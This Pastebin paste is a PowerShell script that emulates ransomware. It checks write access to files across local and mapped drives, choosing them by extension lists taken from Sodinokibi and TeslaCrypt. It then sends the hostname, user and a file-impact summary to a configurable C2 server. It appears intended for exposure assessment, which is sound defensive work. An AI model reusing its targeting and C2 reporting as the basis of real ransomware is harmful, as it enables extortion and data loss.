Advertisement
FlyFar

A PowerShell script to emulate a ransomware infection. Does not actually encrypt.

Oct 24th, 2021
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Begin {
  2.  
  3. # Define Variables
  4. $EnumerateTargets=@()
  5. $files=@()
  6. $AffectedFiles=@()
  7. $C2Server = '' # ChangeMe
  8. $C2Port = '1337' # ChangeMe
  9. $C2Schema = 'http://' # ChangeMe
  10. $C2Payload = ""
  11. $Threads = 50
  12.  
  13.  
  14. # Sophistication Emulation Range (1-3)
  15. # 1 = Basic: Recursively Enumerates Down Local Drives and Mapped Drives exactly as they are mapped
  16. # 2 = Intermediate: Basic + Enumerates Network Locations/Shortcuts + Attempts to walk up/down network locations - NOT YET IMPLEMENTED
  17. # 3 = Sophisticated: Intermediate + Scans local network for SMB Shares to enumerate starting at root nodes - NOT YET IMPLEMENTED
  18. $SophisticationLevel = 1
  19.  
  20.  
  21. # Enumeration Filter Criteria
  22. # Blacklist = Search all files excepte those filters in the blacklist
  23. # Whitelist = Only search files matchines filters in the whitelist
  24. # None = DO not use any whitelist
  25. $EnumerationFilter = "Whitelist"
  26.  
  27.  
  28. # Blacklist derived from sodinokibi ransomware
  29. $Blacklist = @("msstyles", "icl", "idx", "rtp", "sys", "nomedia", "dll", "hta", "cur", "lock", "cpl", "ics", "hlp", "com", "spl", "msi", "key", "mpa", "rom", "drv", "bat", "386", "adv", "diagcab", "mod", "scr", "theme", "ocx", "prf", "cab", "diagcfg", "msu", "cmd", "ico", "msc", "ani", "icns", "diagpkg", "deskthemepack", "wpx", "msp", "bin", "themepack", "shs", "nls", "exe", "lnk", "ps1", "ldf", "ntuser.dat", "desktop.ini", "thumbs.db", "iconcache.db", "ntuser.ini", "ntldr", "bootfont.bin", "ntuser.dat.log", "bootsect.bak", "boot.ini", "autorun.inf")
  30.  
  31. # Whitelist derived from teslacrypt and then added additional common extensions
  32. $Whitelist = @("pdb", "dat", "json", "7z", "zip", "map", "m2", "rb", "jpg", "rar", "wmo", "mcmeta", "png", "cdr", "m4a", "itm", "vfs0", "jpeg", "indd", "wma", "sb", "mpqge", "txt", "ai", "avi", "fos", "kdb", "p7c", "eps", "wmv", "mcgame", "db0", "p7b", "pdf", "csv", "vdf", "DayZProfile", "p12", "pdd", "d3dbsp", "ztmp", "rofl", "pfx", "psd", "sc2save", "sis", "hkx", "pem", "dbfv", "sie", "sid", "bar", "crt", "mdf", "sum", "ncf", "upk", "cer", "wb2", "ibank", "menu", "das", "der", "rtf", "t13", "layout", "iwi", "x3f", "wpd", "t12", "dmp", "litemod", "srw", "dxg", "qdf", "blob", "asset", "pef", "xf", "gdb", "esm", "forge", "ptx", "dwg", "tax", "001", "ltx", "r3d", "pst", "pkpass", "vtf", "bsa", "rw2", "accdb", "bc6", "dazip", "apk", "rwl", "mdb", "bc7", "fpk", "re4", "raw", "pptm", "bkp", "mlx", "sav", "raf", "pptx", "qic", "kf", "lbf", "orf", "ppt", "bkf", "iwd", "slm", "nrw", "xlk", "sidn", "vpk", "bik", "mrwref", "xlsb", "sidd", "tor", "epk", "mef", "xlsm", "mddata", "psk", "rgss3a", "erf", "xlsx", "itl", "rim", "pak", "kdc", "xls", "itdb", "w3x", "big", "dcr", "wps", "icxs", "fsh", "unity3d", "cr2", "docm", "hvpl", "ntl", "wotreplay", "crw", "docx", "hplg", "arch00", "xxx", "bay", "doc", "hkdb", "lvl", "desc", "sr2", "odb", "mdbackup", "snx", "py", "srf", "odc", "syncdb", "cfr", "m3u", "arw", "odm", "gho", "ff", "flv", "3fr", "odp", "cas", "vpp_pc", "js", "dng", "ods", "svg", "lrf", "css", "jpe", "odt", "pps", "xlr", "java", "h", "sh", "vbs", "py", "swift", "ps1", "crt", "cer", "key", "bak", "bkup", "tex", "wks", "m4v", "kbds", "mpeg", "mpg", "mov", "php", "asp", "aspx", "pl", "js", "jsp", "xhtml", "bmp", "gif", "*ico", "svg", "jar", "sql", "tar", "xml", "mp3", "wav", "ogg")
  33.  
  34. }
  35.  
  36. Process {
  37. # Build String to be sent as C2 Payload, essentially just console output
  38. $C2Payload += ("Simulating Ransomware Infection Routine!`n")
  39. $C2Payload +=  ("Sophistication Level: " + $SophisticationLevel + "`n")
  40. $C2Payload +=  ("Enumeration Filter Criteria: " + $EnumerationFilter + "`n")
  41. $C2Payload +=  ("Hostname: " + $env:COMPUTERNAME + "`n")
  42. $C2Payload +=  ("Current User: " + $env:USERDOMAIN + '\' + $env:USERNAME + "`n")
  43. Write-Host $C2Payload
  44.  
  45.  
  46. # Attempt to reach the C2 Server
  47. if($C2Server){
  48.     Try {
  49.         $C2Status = Invoke-WebRequest -uri ($C2Schema + $C2Server + ":" + $C2Port + "/Status") -Method GET
  50.         Write-Verbose "C2 Connection: OK"
  51.     } Catch {
  52.         Write-Warning "C2 Server is not reachable"
  53.         Exit(1)
  54.     }
  55. }
  56.  
  57.  
  58. Function ThreadedEnumeration {
  59.  
  60. [CmdletBinding()]
  61. param(
  62.     [Parameter(
  63.         Position=0,
  64.         HelpMessage='System or Network Drive to Enumerate')]
  65.     [String]$Drive,
  66.       [Parameter(
  67.         Position=1,
  68.         HelpMessage='Maximum number of threads at the same time (Default=50)')]
  69.     [Int32]$Threads=50,
  70.     [Parameter(
  71.         Position=2,
  72.         HelpMessage='Whitelist of allowed file extensions')]
  73.     [Array]$Whitelist
  74. )
  75.  
  76. Begin{
  77.     Write-Verbose -Message "Script started at $(Get-Date)"
  78.     $BlastRadius = @()
  79.  
  80. }
  81.  
  82. Process{
  83.     function Chunk-Array
  84.     {
  85.  
  86.           param($objIn,[int]$parts,[int]$size)
  87.  
  88.           if ($parts) {
  89.             $PartSize = [Math]::Ceiling($objIn.count / $parts)
  90.           }
  91.           if ($size) {
  92.             $PartSize = $size
  93.             $parts = [Math]::Ceiling($objIn.count / $size)
  94.           }
  95.  
  96.           $objOut = New-Object 'System.Collections.Generic.List[psobject]'
  97.  
  98.           for ($i=1; $i -le $parts; $i++) {
  99.             $start = (($i-1)*$PartSize)
  100.             $end = (($i)*$PartSize) - 1
  101.             if ($end -ge $objIn.count) {$end = $objIn.count -1}
  102.             $objOut.Add(@($objIn[$start..$end]))
  103.           }
  104.           return ,$objOut
  105.  
  106.     }
  107.  
  108.     # Scriptblock --> will run in threads...
  109.     [ScriptBlock]$ScriptBlock = {
  110.         Param(
  111.             $chunk,
  112.             $Whitelist=$Null
  113.         )
  114.  
  115.         # Check For Write Access
  116.         $chunk | ForEach-Object {
  117.             if ($Whitelist){
  118.                 if (($Whitelist.Contains($_[-3..-1] -join '')) -and ($_[-4] -eq '.')) {
  119.                     Try{
  120.                         [System.IO.File]::OpenWrite($_).close() # <----- Check does not affect metadata (last access,modifed,created timestamps) of file
  121.                         $writable = Get-Item $_ | select FullName, Name, Length, Extension
  122.                         [PSCustomObject] @{
  123.                             FullName = $writable.FullName
  124.                             Name = $writable.Name
  125.                             Size = $writable.Length
  126.                             Extension = $writable.Extension
  127.                         }
  128.                     } Catch{
  129.                         Write-Verbose ("No Write Permission on: " + $_)
  130.                     } # End Try Catch
  131.                 } # End If Whitelist Contains
  132.             } else {
  133.  
  134.                 Try{
  135.                         [System.IO.File]::OpenWrite($_).close() # <----- Check does not affect metadata (last access,modifed,created timestamps) of file
  136.                         $writable = Get-Item $_ | select FullName, Name, Length, Extension
  137.                         [PSCustomObject] @{
  138.                             FullName = $writable.FullName
  139.                             Name = $writable.Name
  140.                             Size = $writable.Length
  141.                             Extension = $writable.Extension
  142.                         }
  143.                     } Catch{
  144.                         Write-Verbose ("No Write Permission on: " + $_)
  145.                     } # End Try Catch
  146.  
  147.             } # End If/Else WhiteList
  148.                    
  149.  
  150.              
  151.  
  152.         } # End Foreach Chunk
  153.  
  154.     } # End ScriptBlock
  155.  
  156.     Write-Verbose -Message "Setting up RunspacePool..."
  157.  
  158.     # Create RunspacePool and Jobs
  159.     $RunspacePool = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspacePool(1, $Threads, $Host)
  160.     $RunspacePool.ApartmentState = "MTA"
  161.     $RunspacePool.Open()
  162.     [System.Collections.ArrayList]$Jobs = @()
  163.  
  164.     Write-Verbose -Message "Setting up Jobs..."
  165.    
  166.     # This is actually WAY faster than Get-ChildItem
  167.     $dir = cmd /r dir $Drive /s /b /a:-d
  168.  
  169.     $chunks = Chunk-Array -objIn $dir -parts 150
  170.  
  171.     foreach($chunk in $chunks)
  172.     {
  173.         # Create job
  174.         $Job = [System.Management.Automation.PowerShell]::Create()
  175.         $null = $Job.AddScript($ScriptBlock)
  176.         $null = $Job.AddArgument($chunk)
  177.         if ($Whitelist) {$null = $Job.AddArgument($Whitelist)}
  178.         $null = $job
  179.         $Job.RunspacePool = $RunspacePool
  180.         $JobObj = [PSCustomObject]@{
  181.             Pipe = $job;
  182.             Result = $job.BeginInvoke()
  183.         }
  184.  
  185.         # Add job to collection
  186.         [void]$Jobs.Add($JobObj)
  187.     }
  188.  
  189.     Write-Verbose -Message "Waiting for jobs to complete & starting to process results..."
  190.  
  191.     # Total jobs to calculate percent complete, because jobs are removed after they are processed
  192.     $Jobs_Total = $Jobs.Count
  193.  
  194.      # Process results, while waiting for other jobs
  195.     Do {
  196.         # Get all jobs, which are completed
  197.         $Jobs_ToProcess = $Jobs | Where-Object -FilterScript {$_.Result.IsCompleted}
  198.  
  199.         # If no jobs finished yet, wait 500 ms and try again
  200.         if($null -eq $Jobs_ToProcess)
  201.         {
  202.             Write-Verbose -Message "No jobs completed yet, wait 5 sec..."
  203.  
  204.             Start-Sleep -Seconds 5
  205.             continue
  206.         }
  207.        
  208.         # Get jobs, which are not complete yet
  209.         $Jobs_Remaining = ($Jobs | Where-Object -FilterScript {$_.Result.IsCompleted -eq $false}).Count
  210.  
  211.         # Catch when trying to divide through zero
  212.         try {            
  213.             $Progress_Percent = 100 - (($Jobs_Remaining / $Jobs_Total) * 100)
  214.         }
  215.         catch {
  216.             $Progress_Percent = 100
  217.         }
  218.  
  219.         Write-Progress -Activity "Waiting for jobs to complete... ($($Threads - $($RunspacePool.GetAvailableRunspaces())) of $Threads threads running)" -Id 1 -PercentComplete $Progress_Percent -Status "$Jobs_Remaining remaining..."
  220.      
  221.         Write-Verbose -Message "Processing $(if($null -eq $Jobs_ToProcess.Count){"1"}else{$Jobs_ToProcess.Count}) job(s)..."
  222.  
  223.         # Processing completed jobs
  224.         foreach($Job in $Jobs_ToProcess)
  225.         {      
  226.             # Get the result...    
  227.             $Job_Result = $Job.Pipe.EndInvoke($Job.Result)
  228.             $Job.Pipe.Dispose()
  229.  
  230.             # Remove job from collection
  231.             $Jobs.Remove($Job)
  232.            
  233.             # Check if result is null --> if not, return it
  234.             if($Job_Result.Result)
  235.             {        
  236.                    $BlastRadius += $Job_Result                  
  237.             }
  238.         }
  239.  
  240.     } While ($Jobs.Count -gt 0)
  241.    
  242.     Write-Verbose -Message "Closing RunspacePool and free resources..."
  243.  
  244.     # Close the RunspacePool and free resources
  245.     $RunspacePool.Close()
  246.     $RunspacePool.Dispose()
  247.  
  248.     Write-Verbose -Message "Script finished at $(Get-Date)"
  249. }
  250.  
  251. End{
  252.     Return $BlastRadius
  253. }
  254.  
  255. }
  256.  
  257.  
  258. # Find Network Drives
  259. $AllDrives = (Get-PSDrive -PSProvider FileSystem | Where-Object {$_.Used -ne 0})
  260.  
  261.  
  262. # If Basic Ransomware
  263. if ($SophisticationLevel -eq 1) {
  264.     $AllDrives | ForEach-Object {
  265.         if ($_.DisplayRoot) {
  266.             $EnumerateTargets += $_.DisplayRoot
  267.         } else {
  268.             $EnumerateTargets += $_.Root
  269.         }
  270.     }
  271. }
  272.  
  273.  
  274. # If Intermediate Ransomware
  275. if ($SophisticationLevel -eq 2) {
  276.     # Enumerate Quick Access Network Shortcuts
  277.     $objSh = New-Object -ComObject shell.application
  278.     $QuickAccess = $objSh.Namespace("shell:::{679f85cb-0220-4080-b29b-5540cc05aab6}").Items() | Select-Object Path
  279.     foreach ($path in $QuickAccess) {
  280.    
  281.         Try {
  282.             $RootPath = @(get-item $path.Path).Root.FullName
  283.             if ($RootPath -match '\\\\') {$NetworkDrives+=$RootPath}
  284.         } Catch {
  285.             Write-Verbose "Unable To Access Path"
  286.         }
  287.     }
  288.  
  289.     $EnumerateTargets = $NetworkDrives += $LocalDrives
  290.     $EnumerateTargets = $EnumerateTargets | Sort-Object -Unique
  291.  
  292. }
  293.  
  294. # Loop Through Drives
  295. foreach ($target in $EnumerateTargets | Where-Object{Test-Path $_}) {
  296.    Write-Host ("Enumerating " + $target)
  297.    $C2Payload += ("Enumerating " + $target + "`n")
  298.  
  299.    # Enumerate Files using Filter Style Blacklist or Whitelist
  300.    if ($EnumerationFilter -eq 'Whitelist'){
  301.  
  302.        $AffectedFiles += ThreadedEnumeration -Drive $target -Threads $Threads -Whitelist $Whitelist -Verbose
  303.  
  304.  
  305.    } else {
  306.  
  307.        $AffectedFiles += ThreadedEnumeration -Drive $target -Threads $Threads -Verbose
  308.  
  309.    }
  310.  
  311.    # Attempt to clean up garbage? Make it faster??
  312.    [GC]::Collect()
  313. }
  314.  
  315. $AffectedFiles = $AffectedFiles | Where-Object {$_.FullName -ne $null}
  316. # Count of Files
  317. $C2Payload += ("Total Simulated Files Encrypted: " + ('{0:N0}' -f $AffectedFiles.Count) + "`n")
  318. Write-Host ("Total Simulated Files Encrypted: " + ('{0:N0}' -f $AffectedFiles.Count))
  319.  
  320.  
  321. # Sum of Data Size of all Files
  322. $TotalData = ($AffectedFiles | Measure-Object -Sum Size).Sum
  323. if ($TotalData -gt 1GB) {
  324.     Write-Host ("Total Simulated Data Encrypted (GB): " + [System.Math]::Round(($TotalData / 1GB), 2) + "`n")
  325.     $C2Payload += ("Total Simulated Data Encrypted (GB): " + [System.Math]::Round(($TotalData / 1GB), 2) + "`n")
  326. } else {
  327.     Write-Host ("Total Simulated Data Encrypted (MB): " + [System.Math]::Round(($TotalData / 1MB), 2) + "`n")
  328.     $C2Payload += ("Total Simulated Data Encrypted (MB): " + [System.Math]::Round(($TotalData / 1MB), 2) + "`n")
  329. }
  330.  
  331. # Top File Types by Extension
  332. $TopTenFileTypes = $AffectedFiles | Group-Object -Property Extension -NoElement | Sort-Object -Property Count -Descending | Select-Object -First 10
  333. Write-host ($TopTenFileTypes | Out-String)
  334. $C2Payload += ($TopTenFileTypes | Out-String)
  335. }
  336.  
  337. End {
  338.  
  339. # Post Output Report to C2 Server
  340. if ($C2Server){
  341.     $null = Invoke-WebRequest -Uri ($C2Schema + $C2Server + ":" + $C2Port + "/receive") -Method POST -Body $C2Payload
  342. }
  343. # Done
  344. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement